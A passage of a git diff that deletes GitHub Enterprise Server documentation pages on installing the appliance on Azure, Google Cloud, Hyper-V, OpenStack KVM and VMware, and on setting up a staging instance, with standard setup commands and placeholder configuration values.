150 GiB with read/write cache enabled (`--caching ReadWrite`). - -## Configuring the {% data variables.product.prodname_ghe_server %} virtual machine - -To configure the instance, you must confirm the instance's status, upload a license file, set the root {% data variables.enterprise.management_console %} password, configure the instance's settings, and restart the instance. - -{% data reusables.enterprise_installation.new-instance-attack-vector-warning %} - -1. Before configuring the VM, you must wait for it to enter ReadyRole status. Check the status of the VM with the `vm list` command. For more information, see [az vm list](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_list) in the Microsoft documentation. - - ```shell - $ az vm list -d -g RESOURCE_GROUP -o table - > Name ResourceGroup PowerState PublicIps Fqdns Location Zones - > ------ --------------- ------------ ------------ ------- ---------- ------- - > VM_NAME RESOURCE_GROUP VM running 40.76.79.202 eastus - - ``` - - > [!NOTE] - > Azure does not automatically create a FQDNS entry for the VM. For more information, see the Azure guide [Create a fully qualified domain name in the Azure portal for a Linux VM](https://docs.microsoft.com/azure/virtual-machines/linux/portal-create-fqdn). - - {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} - {% data reusables.enterprise_installation.upload-a-license-file %} - {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise). - {% data reusables.enterprise_installation.instance-will-restart-automatically %} - {% data reusables.enterprise_installation.visit-your-instance %} - -## Azure extension features - -{% data variables.product.prodname_ghe_server %} does not support the installation of Azure extension features. The {% data variables.product.prodname_ghe_server %} image is shipped with a customized `waagent` package which only supports basic VM management functions and blocks advanced VM management functions. - -To avoid system instability of your {% data variables.product.prodname_ghe_server %} instance, the `walinuxagent` service is intentionally run in {% data variables.product.prodname_ghe_server %} in a restricted mode, explicitly disallowing the agent from being able to install other agents. VM management features that rely on additional agents and extensions beyond that which ships with {% data variables.product.prodname_ghe_server %} image, such as the Monitoring Agent extension for Azure Insights or Azure Backups, are unsupported. - -Because {% data variables.product.prodname_ghe_server %} runs a customized Linux operating system with only the necessary applications and services, installing or updating operating system packages manually will overwrite these customizations and can cause unexpected behavior. For more information, see [AUTOTITLE](/admin/overview/system-overview). - -## Further reading - -* [AUTOTITLE](/admin/overview/system-overview) -* [AUTOTITLE](/admin/overview/about-upgrades-to-new-releases) diff --git a/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md b/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md deleted file mode 100644 index 0b8407cbfc44..000000000000 --- a/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: Installing GitHub Enterprise Server on Google Cloud Platform -intro: 'To install {% data variables.product.prodname_ghe_server %} on Google Cloud Platform, you must deploy onto a supported machine type and use a persistent standard disk or a persistent SSD.' -redirect_from: - - /enterprise/admin/guides/installation/installing-github-enterprise-on-google-cloud-platform - - /enterprise/admin/installation/installing-github-enterprise-server-on-google-cloud-platform - - /admin/installation/installing-github-enterprise-server-on-google-cloud-platform - - /admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform -versions: - ghes: '*' -type: tutorial -topics: - - Administrator - - Enterprise - - Infrastructure - - Set up -shortTitle: Install on GCP ---- -## Prerequisites - -* {% data reusables.enterprise_installation.software-license %} -* You must have a Google Cloud Platform account capable of launching Google Compute Engine (GCE) virtual machine (VM) instances. For more information, see the [Google Cloud Platform website](https://cloud.google.com/) and the [Google Cloud Platform documentation](https://cloud.google.com/docs/). -* Most actions needed to launch your instance may also be performed using the [Google Cloud Platform Console](https://cloud.google.com/compute/docs/console). However, we recommend installing the gcloud compute command-line tool for initial setup. Examples using the gcloud compute command-line tool are included below. For more information, see the [gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/) installation and setup guide in the Google documentation. - -## Hardware considerations - -{% data reusables.enterprise_installation.hardware-considerations-all-platforms %} - -## Determining the machine type - -Before launching {% data variables.location.product_location %} on Google Cloud Platform, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum recommended requirements for {% data variables.product.prodname_ghe_server %}, see [Minimum recommended requirements](#minimum-recommended-requirements). - -{% data reusables.enterprise_installation.warning-on-scaling %} - -{% data variables.product.company_short %} recommends a general-purpose, high-memory machine for {% data variables.product.prodname_ghe_server %}. For more information, see [Machine types](https://cloud.google.com/compute/docs/machine-types#n2_high-memory_machine_types) in the Google Compute Engine documentation. - -## Selecting the {% data variables.product.prodname_ghe_server %} image - -1. Using the [gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/) command-line tool, list the public {% data variables.product.prodname_ghe_server %} images: - - ```shell - gcloud compute images list --project github-enterprise-public --no-standard-images - ``` - -1. Take note of the image name for the latest GCE image of {% data variables.product.prodname_ghe_server %}. - -## Configuring the firewall - -GCE virtual machines are created as a member of a network, which has a firewall. For the network associated with the {% data variables.product.prodname_ghe_server %} VM, you'll need to configure the firewall to allow the required ports listed in the table below. We recommend opening network ports selectively based on the network services you need to expose for administrative and user purposes. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/network-ports#administrative-ports), and [Firewall Rules Overview](https://cloud.google.com/vpc/docs/firewalls) in the Google Cloud Platform documentation. - -1. Using the gcloud compute command-line tool, create the network. For more information, see [gcloud compute networks create](https://cloud.google.com/sdk/gcloud/reference/compute/networks/create) in the Google documentation. - - ```shell - gcloud compute networks create NETWORK-NAME --subnet-mode auto - ``` - -1. Create a firewall rule for each of the ports in the table below. For more information, see [gcloud compute firewall-rules](https://cloud.google.com/sdk/gcloud/reference/compute/firewall-rules/) in the Google documentation. - - ```shell - $ gcloud compute firewall-rules create RULE-NAME \ - --network NETWORK-NAME \ - --allow tcp:22,tcp:25,tcp:80,tcp:122,udp:161,tcp:443,udp:1194,tcp:8080,tcp:8443,tcp:9418,icmp - ``` - - This table identifies the required ports and what each port is used for. - - {% data reusables.enterprise_installation.necessary_ports %} - -## Allocating a static IP and assigning it to the VM - -If this is a production appliance, we strongly recommend reserving a static external IP address and assigning it to the {% data variables.product.prodname_ghe_server %} VM. Otherwise, the public IP address of the VM will not be retained after restarts. For more information, see the Google guide [Reserving a Static External IP Address](https://cloud.google.com/compute/docs/configure-instance-ip-addresses). - -In production High Availability configurations, both primary and replica appliances should be assigned separate static IP addresses. - -## Creating the {% data variables.product.prodname_ghe_server %} instance - -To create the {% data variables.product.prodname_ghe_server %} instance, you'll need to create a GCE instance with your {% data variables.product.prodname_ghe_server %} image and attach an additional storage volume for your instance data. For more information, see [Hardware considerations](#hardware-considerations). - -1. Using the gcloud compute command-line tool, create a data disk to use as an attached storage volume for your instance data, and configure the size based on your user license count. For more information, see [gcloud compute disks create](https://cloud.google.com/sdk/gcloud/reference/compute/disks/create) in the Google documentation. - - ```shell - gcloud compute disks create DATA-DISK-NAME --size DATA-DISK-SIZE --type DATA-DISK-TYPE --zone ZONE - ``` - -1. Then create an instance using the name of the {% data variables.product.prodname_ghe_server %} image you selected, and attach the data disk. For more information, see [gcloud compute instances create](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create) in the Google documentation. - - ```shell - $ gcloud compute instances create INSTANCE-NAME \ - --machine-type n1-standard-8 \ - --image GITHUB-ENTERPRISE-IMAGE-NAME \ - --disk name=DATA-DISK-NAME \ - --metadata serial-port-enable=1 \ - --zone ZONE \ - --network NETWORK-NAME \ - --image-project github-enterprise-public - ``` - -## Configuring the instance - -{% data reusables.enterprise_installation.new-instance-config-summary %} - -{% data reusables.enterprise_installation.new-instance-attack-vector-warning %} - -{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} -{% data reusables.enterprise_installation.upload-a-license-file %} -{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise). -{% data reusables.enterprise_installation.instance-will-restart-automatically %} -{% data reusables.enterprise_installation.visit-your-instance %} - -## Further reading - -* [AUTOTITLE](/admin/overview/system-overview) -* [AUTOTITLE](/admin/overview/about-upgrades-to-new-releases) diff --git a/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md b/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md deleted file mode 100644 index 065f4b2cf647..000000000000 --- a/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Installing GitHub Enterprise Server on Hyper-V -intro: 'To install {% data variables.product.prodname_ghe_server %} on Hyper-V, you must deploy onto a machine running Windows Server 2008 through Windows Server 2022.' -redirect_from: - - /enterprise/admin/guides/installation/installing-github-enterprise-on-hyper-v - - /enterprise/admin/installation/installing-github-enterprise-server-on-hyper-v - - /admin/installation/installing-github-enterprise-server-on-hyper-v - - /admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v -versions: - ghes: '*' -type: tutorial -topics: - - Administrator - - Enterprise - - Infrastructure - - Set up -shortTitle: Install on Hyper-V ---- -## Prerequisites - -* {% data reusables.enterprise_installation.software-license %} -* You must have Windows Server 2008 through Windows Server 2022, which supports Hyper-V. -* Most actions needed to create your virtual machine (VM) may also be performed using the [Hyper-V Manager](https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/remotely-manage-hyper-v-hosts). However, we recommend using the Windows PowerShell command-line shell for initial setup. Examples using PowerShell are included below. For more information, see the Microsoft guide [Getting Started with Windows PowerShell](https://docs.microsoft.com/powershell/scripting/getting-started/getting-started-with-windows-powershell?view=powershell-5.1). - -## Hardware considerations - -{% data reusables.enterprise_installation.hardware-considerations-all-platforms %} - -## Should I use VMotion? - -VMotion can be exceptionally helpful for general resource management, however the impact to the guest instance can be significant. With larger {% data variables.product.prodname_ghe_server %} instances (8 CPU/64 GB RAM and above), a VMotion event may result in a full outage of the {% data variables.product.prodname_ghe_server %} to end users as a result of dramatically reduced CPU, RAM, and storage IOPS. With this in mind, {% data variables.product.prodname_ghe_server %} should be considered a "highly latency sensitive" application. - -For large(r) deployments on VMWare that have Distributed Resource Scheduler (DRS) enabled, we would recommend configuring a VM-to-Host affinity rule for your {% data variables.product.prodname_ghe_server %} to try and keep the virtual appliance on a single host. If a migration with VMotion is required, we'd recommend considering this a "planned outage", and placing {% data variables.product.prodname_ghe_server %} into maintenance mode until the migration is complete. - -We also recommend that the ESXi Power Management Setting be configured to "High Performance". We have seen cases where overall system performance can be negatively impacted if this is left at "Balanced". - -## Downloading the {% data variables.product.prodname_ghe_server %} image - -{% data reusables.enterprise_installation.download-license %} -{% data reusables.enterprise_installation.download-appliance %} -1. Under "{% data variables.product.prodname_dotcom %} On-premises", select the "Select your hypervisor" dropdown menu and click **Hyper-V (VHD)**. -1. Click **Download for Hyper-V (VHD)**. - -## Creating the {% data variables.product.prodname_ghe_server %} instance - -{% data reusables.enterprise_installation.create-ghe-instance %} - -1. In PowerShell, create a new Generation 1 virtual machine, configure the size based on your user license count, and attach the {% data variables.product.prodname_ghe_server %} image you downloaded. For more information, see [New-VM](https://docs.microsoft.com/powershell/module/hyper-v/new-vm?view=win10-ps) in the Microsoft documentation. - - ```shell - PS C:\> New-VM -Generation 1 -Name VM_NAME -MemoryStartupBytes MEMORY_SIZE -BootDevice VHD -VHDPath PATH_TO_VHD - ``` - -{% data reusables.enterprise_installation.create-attached-storage-volume %} Replace `PATH_TO_DATA_DISK` with the path to the location where you create the disk. For more information, see [New-VHD](https://docs.microsoft.com/powershell/module/hyper-v/new-vhd?view=win10-ps) in the Microsoft documentation. - - ```shell - PS C:\> New-VHD -Path PATH_TO_DATA_DISK -SizeBytes DISK_SIZE - ``` - -1. Attach the data disk to your instance. For more information, see [Add-VMHardDiskDrive](https://docs.microsoft.com/powershell/module/hyper-v/add-vmharddiskdrive?view=win10-ps) in the Microsoft documentation. - - ```shell - PS C:\> Add-VMHardDiskDrive -VMName VM_NAME -Path PATH_TO_DATA_DISK - ``` - -1. Start the VM. For more information, see [Start-VM](https://docs.microsoft.com/powershell/module/hyper-v/start-vm?view=win10-ps) in the Microsoft documentation. - - ```shell - PS C:\> Start-VM -Name VM_NAME - ``` - -1. Get the IP address of your VM. For more information, see [Get-VMNetworkAdapter](https://docs.microsoft.com/powershell/module/hyper-v/get-vmnetworkadapter?view=win10-ps) in the Microsoft documentation. - - ```shell - PS C:\> (Get-VMNetworkAdapter -VMName VM_NAME).IpAddresses - ``` - -1. Copy the VM's IP address and paste it into a web browser. - -## Configuring the {% data variables.product.prodname_ghe_server %} instance - -{% data reusables.enterprise_installation.new-instance-config-summary %} - -{% data reusables.enterprise_installation.new-instance-attack-vector-warning %} - -{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} -{% data reusables.enterprise_installation.upload-a-license-file %} -{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise). -{% data reusables.enterprise_installation.instance-will-restart-automatically %} -{% data reusables.enterprise_installation.visit-your-instance %} - -## Further reading - -* [AUTOTITLE](/admin/overview/system-overview) -* [AUTOTITLE](/admin/overview/about-upgrades-to-new-releases) diff --git a/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md b/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md deleted file mode 100644 index 7faa8081dfc8..000000000000 --- a/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Installing GitHub Enterprise Server on OpenStack KVM -intro: 'To install {% data variables.product.prodname_ghe_server %} on OpenStack KVM, you must have OpenStack access and download the {% data variables.product.prodname_ghe_server %} QCOW2 image.' -redirect_from: - - /enterprise/admin/guides/installation/installing-github-enterprise-on-openstack-kvm - - /enterprise/admin/installation/installing-github-enterprise-server-on-openstack-kvm - - /admin/installation/installing-github-enterprise-server-on-openstack-kvm - - /admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm -versions: - ghes: '*' -type: tutorial -topics: - - Administrator - - Enterprise - - Infrastructure - - Set up -shortTitle: Install on OpenStack ---- -## Prerequisites - -* {% data reusables.enterprise_installation.software-license %} -* You must have access to an installation of OpenStack Horizon, the web-based user interface to OpenStack services. For more information, see the [Horizon documentation](https://docs.openstack.org/horizon/latest/). - -## Hardware considerations - -{% data reusables.enterprise_installation.hardware-considerations-all-platforms %} - -## Downloading the {% data variables.product.prodname_ghe_server %} image - -{% data reusables.enterprise_installation.download-license %} -{% data reusables.enterprise_installation.download-appliance %} -1. Under "{% data variables.product.prodname_dotcom %} On-premises", select the "Select your hypervisor" dropdown menu and click **OpenStack KVM (QCOW2)**. -1. Click **Download for OpenStack KVM (QCOW2)**. - -## Creating the {% data variables.product.prodname_ghe_server %} instance - -{% data reusables.enterprise_installation.create-ghe-instance %} - -1. In OpenStack Horizon, upload the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the "Upload an image" section of the OpenStack guide [Upload and manage images](https://docs.openstack.org/horizon/latest/user/manage-images.html). -{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the OpenStack guide [Create and manage volumes](https://docs.openstack.org/horizon/latest/user/manage-volumes.html). -1. Create a security group, and add a new security group rule for each port in the table below. For instructions, see the OpenStack guide [Configure access and security for instances](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html). - - {% data reusables.enterprise_installation.necessary_ports %} -1. Optionally, associate a floating IP to the instance. Depending on your OpenStack setup, you may need to allocate a floating IP to the project and associate it to the instance. Contact your system administrator to determine if this is the case for you. For more information, see [Allocate a floating IP address to an instance](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html#allocate-a-floating-ip-address-to-an-instance) in the OpenStack documentation. -1. Launch {% data variables.location.product_location %} using the image, data volume, and security group created in the previous steps. For instructions, see the OpenStack guide [Launch and manage instances](https://docs.openstack.org/horizon/latest/user/launch-instances.html). - -## Configuring the {% data variables.product.prodname_ghe_server %} instance - -{% data reusables.enterprise_installation.new-instance-config-summary %} - -{% data reusables.enterprise_installation.new-instance-attack-vector-warning %} - -{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} -{% data reusables.enterprise_installation.upload-a-license-file %} -{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise). -{% data reusables.enterprise_installation.instance-will-restart-automatically %} -{% data reusables.enterprise_installation.visit-your-instance %} - -## Further reading - -* [AUTOTITLE](/admin/overview/system-overview) -* [AUTOTITLE](/admin/overview/about-upgrades-to-new-releases) diff --git a/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md b/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md deleted file mode 100644 index 7164213ec4ef..000000000000 --- a/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Installing GitHub Enterprise Server on VMware -intro: 'To install {% data variables.product.prodname_ghe_server %} on VMware, you must download the VMware vSphere client, and then download and deploy the {% data variables.product.prodname_ghe_server %} software.' -redirect_from: - - /enterprise/admin/articles/getting-started-with-vmware - - /enterprise/admin/articles/installing-vmware-tools - - /enterprise/admin/articles/vmware-esxi-virtual-machine-maximums - - /enterprise/admin/guides/installation/installing-github-enterprise-on-vmware - - /enterprise/admin/installation/installing-github-enterprise-server-on-vmware - - /admin/installation/installing-github-enterprise-server-on-vmware - - /admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware -versions: - ghes: '*' -type: tutorial -topics: - - Administrator - - Enterprise - - Infrastructure - - Set up -shortTitle: Install on VMware ---- -## Prerequisites - -* {% data reusables.enterprise_installation.software-license %} -* You must have a VMware vSphere ESXi Hypervisor, applied to a bare metal machine that will run {% data variables.location.product_location %}s. We support versions 5.5 to 7.0. The ESXi Hypervisor is free and does not include the (optional) vCenter Server. For more information, see [the VMware ESXi documentation](https://www.vmware.com/products/esxi-and-esx.html). -* You will need access to a vSphere Client. If you have vCenter Server you can use the vSphere Web Client. For more information, see the VMware guide [Log in to vCenter Server by Using the vSphere Web Client](https://docs.vmware.com/en/VMware-vSphere/6.5/com.vmware.vsphere.install.doc/GUID-CE128B59-E236-45FF-9976-D134DADC8178.html). - -## Hardware considerations - -{% data reusables.enterprise_installation.hardware-considerations-all-platforms %} - -## Downloading the {% data variables.product.prodname_ghe_server %} image - -{% data reusables.enterprise_installation.download-license %} -{% data reusables.enterprise_installation.download-appliance %} -1. Under "{% data variables.product.prodname_dotcom %} On-premises", select the "Select your hypervisor" dropdown menu and click **VMware ESXi/vSphere (OVA)**. -1. Click **Download for VMware ESXi/vSphere (OVA)**. - -## Creating the {% data variables.product.prodname_ghe_server %} instance - -{% data reusables.enterprise_installation.create-ghe-instance %} - -1. Using the vSphere Windows Client or the vCenter Web Client, import the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the VMware guide [Deploy an OVF or OVA Template](https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere/6-5/vsphere-virtual-machine-administration-guide-6-5/deploying-ovf-templates/deploy-an-ovf-template-flex-and-h5.html). - * When selecting a datastore, choose one with sufficient space to host the VM's disks. For the minimum hardware specifications recommended for your instance size, see [Hardware considerations](#hardware-considerations). We recommend thick provisioning with lazy zeroing. - * Leave the **Power on after deployment** box unchecked, as you will need to add an attached storage volume for your repository data after provisioning the VM. -{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the VMware guide [Add a New Hard Disk to a Virtual Machine](https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere/6-5/add-a-new-hard-disk-to-a-virtual-machine.html). - -## Configuring the {% data variables.product.prodname_ghe_server %} instance - -{% data reusables.enterprise_installation.new-instance-config-summary %} - -{% data reusables.enterprise_installation.new-instance-attack-vector-warning %} - -{% data reusables.enterprise_installation.copy-the-vm-public-dns-name %} -{% data reusables.enterprise_installation.upload-a-license-file %} -{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise). -{% data reusables.enterprise_installation.instance-will-restart-automatically %} -{% data reusables.enterprise_installation.visit-your-instance %} - -## Further reading - -* [AUTOTITLE](/admin/overview/system-overview) -* [AUTOTITLE](/admin/overview/about-upgrades-to-new-releases) diff --git a/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance.md b/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance.md deleted file mode 100644 index fdf8e7cfa3be..000000000000 --- a/content/admin/installing-your-enterprise-server/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance.md +++ /dev/null @@ -1,165 +0,0 @@ ---- -title: Setting up a staging instance -intro: 'You can set up a {% data variables.product.prodname_ghe_server %} instance in a separate, isolated environment, and use the instance to validate and test changes.' -redirect_from: - - /enterprise/admin/installation/setting-up-a-staging-instance - - /admin/installation/setting-up-a-staging-instance - - /admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Infrastructure - - Upgrades -shortTitle: Set up a staging instance ---- - -## About staging instances - -{% data variables.product.company_short %} recommends that you set up a separate environment to test backups, updates, or changes to the configuration for {% data variables.location.product_location %}. This environment, which you should isolate from your production systems, is called a staging environment. - -For example, to protect against loss of data, you can regularly validate the backup of your production instance. You can regularly restore the backup of your production data to a separate {% data variables.product.prodname_ghe_server %} instance in a staging environment. On this staging instance, you could also test the upgrade to the latest feature release of {% data variables.product.prodname_ghe_server %}. - -> [!TIP] -> You may reuse your existing {% data variables.product.prodname_enterprise %} license file as long as the staging instance is not used in a production capacity. - -## Considerations for a staging environment - -To thoroughly test {% data variables.product.prodname_ghe_server %} and recreate an environment that's as similar to your production environment as possible, consider the external systems that interact with your instance. For example, you may want to test the following in your staging environment. - -* Authentication, especially if you use an external authentication provider like SAML -* Integration with an external ticketing system -* Integration with a continuous integration server -* External scripts or software that use the {% data variables.product.prodname_enterprise_api %} -* External SMTP server for email notifications - -## Setting up a staging instance - -You can set up a staging instance from scratch and configure the instance however you like. For more information, see [AUTOTITLE](/admin/installation/setting-up-a-github-enterprise-server-instance) and [AUTOTITLE](/admin/configuration/configuring-your-enterprise). - -Alternatively, you can create a staging instance that reflects your production configuration by restoring a backup of your production instance to the staging instance. - -1. [Back up your production instance](#1-back-up-your-production-instance). -1. [Set up a staging instance](#2-set-up-a-staging-instance). -1. [Configure {% data variables.product.prodname_actions %}](#3-configure-github-actions). -1. [Configure {% data variables.product.prodname_registry %}](#4-configure-github-packages). -1. [Restore your production backup](#5-restore-your-production-backup). -1. [Review the instance's configuration](#6-review-the-instances-configuration). -1. [Apply the instance's configuration](#7-apply-the-instances-configuration). - -### 1. Back up your production instance - -If you want to test changes on an instance that contains the same data and configuration as your production instance, back up the data and configuration from the production instance using {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance). - -> [!WARNING] -> If you use {% data variables.product.prodname_actions %} or {% data variables.product.prodname_registry %} in production, your backup will include your production configuration for external storage. To avoid potential loss of data by writing to your production storage from your staging instance, you must configure each feature in steps 3 and 4 before you restore your backup. - -### 2. Set up a staging instance - -Set up a new instance to act as your staging environment. You can use the same guides for provisioning and installing your staging instance as you did for your production instance. For more information, see [AUTOTITLE](/admin/installation/setting-up-a-github-enterprise-server-instance). - -If you plan to restore a backup of your production instance, continue to the next step. Alternatively, you can configure the instance manually and skip the following steps. - -> [!WARNING] -> Restoring backups with {% data variables.product.prodname_actions %} will not succeed on a non-configured instance. To enable {% data variables.product.prodname_actions %}, an instance with a hostname configured is required. For more information, see [AUTOTITLE](/admin/configuring-settings/configuring-network-settings/configuring-the-hostname-for-your-instance). - -### 3. Configure {% data variables.product.prodname_actions %} - -Optionally, if you use {% data variables.product.prodname_actions %} on your production instance, configure the feature on the staging instance before restoring your production backup. If you don't use {% data variables.product.prodname_actions %}, skip to [1. Configure {% data variables.product.prodname_registry %}](#4-configure-github-packages). - -> [!WARNING] -> If you don't configure {% data variables.product.prodname_actions %} on the staging instance before restoring your production backup, your staging instance will use your production instance's external storage, which could result in loss of data. We strongly recommended that you use different external storage for your staging instance. For more information, see [AUTOTITLE](/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment). - -{% data reusables.enterprise_installation.ssh-into-staging-instance %} -1. To configure the staging instance to use an external storage provider for {% data variables.product.prodname_actions %}, enter one of the following commands. - {% data reusables.actions.configure-storage-provider-platform-commands %} -{% data reusables.actions.configure-storage-provider %} -1. To prepare to enable {% data variables.product.prodname_actions %} on the staging instance, enter the following command. - - ```shell copy - ghe-config app.actions.enabled true - ``` - -1. To apply the configuration changes, enter the following command. - - ```shell copy - ghe-config-apply - ``` - -### 4. Configure {% data variables.product.prodname_registry %} - -Optionally, if you use {% data variables.product.prodname_registry %} on your production instance, configure the feature on the staging instance before restoring your production backup. If you don't use {% data variables.product.prodname_registry %}, skip to [1. Restore your production backup](#5-restore-your-production-backup). - -> [!WARNING] -> If you don't configure {% data variables.product.prodname_registry %} on the staging instance before restoring your production backup, your staging instance will use your production instance's external storage, which could result in loss of data. We strongly recommended that you use different external storage for your staging instance. - -1. Review the backup you will restore to the staging instance. - * If you took the backup with {% data variables.product.prodname_enterprise_backup_utilities %} 3.5 or later, the backup includes the configuration for {% data variables.product.prodname_registry %}. Continue to the next step. - * If you took the backup with {% data variables.product.prodname_enterprise_backup_utilities %} 3.4 or earlier, configure {% data variables.product.prodname_registry %} on the staging instance. For more information, see [AUTOTITLE](/admin/packages/getting-started-with-github-packages-for-your-enterprise). -{% data reusables.enterprise_installation.ssh-into-staging-instance %} -1. Configure the external storage connection by entering the following commands, replacing the placeholder values with actual values for your connection. - * Azure Blob Storage: - - ```shell copy - ghe-config secrets.packages.blob-storage-type "azure" - ghe-config secrets.packages.azure-container-name "AZURE CONTAINER NAME" - ghe-config secrets.packages.azure-connection-string "CONNECTION STRING" - ``` - - * Amazon S3: - - ```shell copy - ghe-config secrets.packages.blob-storage-type "s3" - ghe-config secrets.packages.service-url "S3 SERVICE URL" - ghe-config secrets.packages.s3-bucket "S3 BUCKET NAME" - ghe-config secrets.packages.aws-access-key "S3 ACCESS KEY ID" - ghe-config secrets.packages.aws-secret-key "S3 ACCESS SECRET" - ``` - -1. To prepare to enable {% data variables.product.prodname_registry %} on the staging instance, enter the following command. - - ```shell copy - ghe-config app.packages.enabled true - ``` - -### 5. Restore your production backup - -Use the `ghe-restore` command to restore the rest of the data from the backup. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance#restoring-a-backup). - -If the staging instance is already configured and you want to overwrite settings, certificate, and license data, add the `-c` option to the command. For more information about the option, see [Using the backup and restore commands](https://github.com/github/backup-utils/blob/master/docs/usage.md#restoring-settings-tls-certificate-and-license) in the {% data variables.product.prodname_enterprise_backup_utilities %} documentation. - -### 6. Review the instance's configuration - -To access the staging instance using the same hostname, update your local hosts file to resolve the staging instance's hostname by IP address by editing the `/etc/hosts` file in macOS or Linux, or the `C:\Windows\system32\drivers\etc` file in Windows. - -> [!NOTE] -> Your staging instance must be accessible from the same hostname as your production instance. Changing the hostname for {% data variables.location.product_location %} is not supported. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/configuring-a-hostname). - -Then, review the staging instance's configuration in the {% data variables.enterprise.management_console %}. For more information, see [AUTOTITLE](/admin/configuration/administering-your-instance-from-the-management-console). - -> [!WARNING] -> If you configured {% data variables.product.prodname_actions %} or {% data variables.product.prodname_registry %} for the staging instance, to avoid overwriting production data, ensure that the external storage configuration in the {% data variables.enterprise.management_console %} does not match your production instance. - -### 7. Apply the instance's configuration - -To apply the configuration from the {% data variables.enterprise.management_console %}, click **Save settings**. - -## Bringing a staging instance back online - -You may want to power off a staging instance to save costs and power it back on when needed. - -An instance can stay offline for {% ifversion ghes < 3.14 %}60 days as of the latest patch release of this version, increased from 7 days{% else %}60 days{% endif %}. - -If you bring the instance back online within the allowed offline time period, {% data variables.product.prodname_ghe_server %} instantiates successfully. If the instance stays offline for longer than the allowed period, {% data variables.product.prodname_ghe_server %} fails to instantiate successfully, and an error message with the text `server has been offline for more than the configured server_rejoin_age_max` may appear in the system logs. See [AUTOTITLE](/admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-system-logs). - -If the instance is stuck in the error state, you can run these commands to recover. - -```shell -sudo mv /data/user/consul/server_metadata.json /data/user/consul/server_metadata.json.bak -ghe-config-apply -``` - -## Further reading - -* [AUTOTITLE](/admin/overview/about-upgrades-to-new-releases) diff --git a/content/admin/managing-accounts-and-repositories/communicating-information-to-users-in-your-enterprise/configuring-custom-footers.md b/content/admin/managing-accounts-and-repositories/communicating-information-to-users-in-your-enterprise/configuring-custom-footers.md deleted file mode 100644 index 3c3ca6437575..000000000000 --- a/content/admin/managing-accounts-and-repositories/communicating-information-to-users-in-your-enterprise/configuring-custom-footers.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Configuring custom footers -intro: 'You can give users easy access to enterprise-specific links by adding custom footers.' -permissions: Enterprise owners can configure a 